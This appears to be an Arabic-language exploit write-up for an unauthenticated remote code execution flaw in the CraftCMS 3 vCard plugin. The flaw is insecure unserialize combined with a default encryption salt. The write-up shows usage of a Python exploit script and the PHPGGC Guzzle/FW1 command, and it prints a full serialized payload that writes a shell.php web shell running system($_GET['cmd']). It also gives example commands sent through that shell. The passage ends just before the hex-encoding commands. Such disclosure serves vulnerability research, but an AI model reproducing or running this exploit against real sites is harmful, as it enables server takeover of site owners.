
يحتوي هذا المستودع على تفاصيل حول ثغرة أمنية تم اكتشافها في إضافة "vCard" لمنصة CraftCMS 3.
تمتلك Craft CMS إضافة لتنزيل جهات الاتصال بصيغة ملف *.vcf باسم "vCard". يمكن الاطلاع على الإضافة في مستودع Craft وعلى Github: Craft Plugin Store Github
تأخذ هذه الإضافة معلمة يرسلها العميل، وتفك تشفير القيمة باستخدام openssl_decrypt، ثم تضع السلسلة الناتجة في دالة unserialize الخاصة بـ PHP. وبما أن الملح الافتراضي (salt) المستخدم في التشفير متاح في المستودع، يمكن للمهاجم استخدام المنطق نفسه لتشفير حمولة تسلسلية خبيثة.
إذا كان المستخدم قد عيّن قيمة "salt" معدّلة في إعدادات الإضافة، فيجب عندئذٍ توفيرها كمعلمة لسكربت Python. ومع ذلك، ستبقى هذه القيمة كما هي دون تغيير إذا تم تنزيل الإضافة من متجر الإضافات أو عبر استنساخ المستودع فقط. ولا يوجد خيار لتغييرها من واجهة Craft web الرسومية.
شغّل السكربت مع توفير رابط vCard الذي يؤدي إلى تنزيل جهات الاتصال. احذف قيمة معلمة vcard.
ستكون المعلمة المُمررة إلى السكربت عندئذٍ: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a
توجد قيمة salt اختيارية يمكن توفيرها. فيما يلي جميع الخيارات المعروضة:
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin
optional arguments:
-h, --help show this help message and exit
-u URL The URL for the vCard download without the vCard value Example:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT Security key required for encrypting payload. Defaul is
's34s4L7'
-f FNAME File path/name to use as value in upload path: ./<value> . Use a
PHP extension. Default value is 'shell.php'
تم اختبار سكربت Python على Python 3.6
سيشغّل السكربت أمرًا بـ PHP على جهاز المهاجم لتشفير الحمولة. ونتيجة لذلك، يجب تثبيت php-cli. تم اختبار هذا الهجوم مع PHP 7.2-cli و PHP 7.3-cli
فيما يلي لقطة لمكان قيام الكود بإلغاء التسلسل بطريقة غير آمنة (VCardService.php:297) Github:
public function decodeUrlParam($optionsString = "")
{
$optionsString = $this->decrypt($optionsString);
$options = unserialize($optionsString);
return $options;
}
معامل $optionsString هو قيمة معلمة "vcard" في الرابط المقدمة من العميل. تمر عبر دالة فك التشفير ثم يتم إلغاء تسلسلها. إذا استطاع العميل محاكاة التشفير، يصبح هذا الكود عرضة للخطر لأنه يلغي تسلسل البيانات المقدمة من المستخدم مباشرة.
فيما يلي دالة التشفير المعنية (VCardService.php:306) Github:
protected function encrypt($string)
{
$key = VCard::$plugin->getSettings()->salt;
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
return rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
}
القيمة الوحيدة التي يحتاج المهاجم إلى معرفتها هي متغير $key المُحدد بواسطة "VCard::$plugin->getSettings()->salt". يمكن رؤية القيمة الافتراضية في المستودع على أنها "s34s4L7" (config.php:26) Github
بافتراض استخدام الملح الافتراضي، يمكن للمهاجم فرض إلغاء تسلسل أي class في تثبيت Craft.
نحتاج إلى إيجاد class من نوع "gadget" في تثبيت Craft الافتراضي يمكننا استخدامه لأغراض خبيثة. مراجعة أي class تحتوي على الدوال السحرية __destruct أو __wakeup تعطي قائمة صغيرة بما يكفي للمراجعة. يمكن القيام بذلك باستخدام "grep -rni < path to web root > -e '__destruct'"
تمتلك guzzlehttp class باسم "FileCookieJar" يبدو أنه يحفظ ملفًا باستخدام خاصية class كاسم الملف:
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38: public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39- {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40- $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41- }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-
يُظهر فحص دالة save أنها ستكتب البيانات إلى مسار ملف على النظام، ويكون كل من المسار والبيانات خاصيتين من خصائص class وتحت سيطرة المهاجم. من المنطقي أنه عند تدمير كائن هذا class، فإنه سيكتب ما لديه من cookies إلى خاصية اسم الملف ليتم استردادها أو استخدامها لاحقًا. فيما يلي محتويات دالة save مع كون file_put_contents هدفنا (FileCookieJar.php:52) Github:
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
لحسن الحظ، لا يتعين علينا القيام بالعمل اليدوي لبناء الحمولة الخبيثة بأنفسنا. الأداة الرائعة PHPGGC تقوم بأتمتة تسلسل Guzzle class مع حمولة جاهزة لاستخدامها في هذا الاستغلال.
استخدمت الأداة لإنشاء هذه الحمولة الأساسية لسكربت الاستغلال، على الرغم من أنها ستُعدّل قليلًا اعتمادًا على اسم الملف. ومن المهم أيضًا ملاحظة أنه عند توليد حمولة جديدة باستخدام PHPGGC، يجب ضرورة استخدام المعامل "-f" وإلا فلن يتم تشغيل الدالة السحرية __destruct:
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}
محتويات sample.txt هي:
<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
انتبه إلى أن النسخ واللصق العادي لن يعمل هنا نظرًا لوجود بايتات فارغة (null bytes) في class المُسلسل، ويجب أن تكون موجودة لكي تُرسم الخصائص بشكل صحيح. اضطررت إلى تحويل المخرجات الخام من الأداة إلى hex ثم تحويلها مرة أخرى إلى سلسلة مع محاكاة عملية التشفير. إليك أوامر bash المستخدمة للحصول على حمولة hex.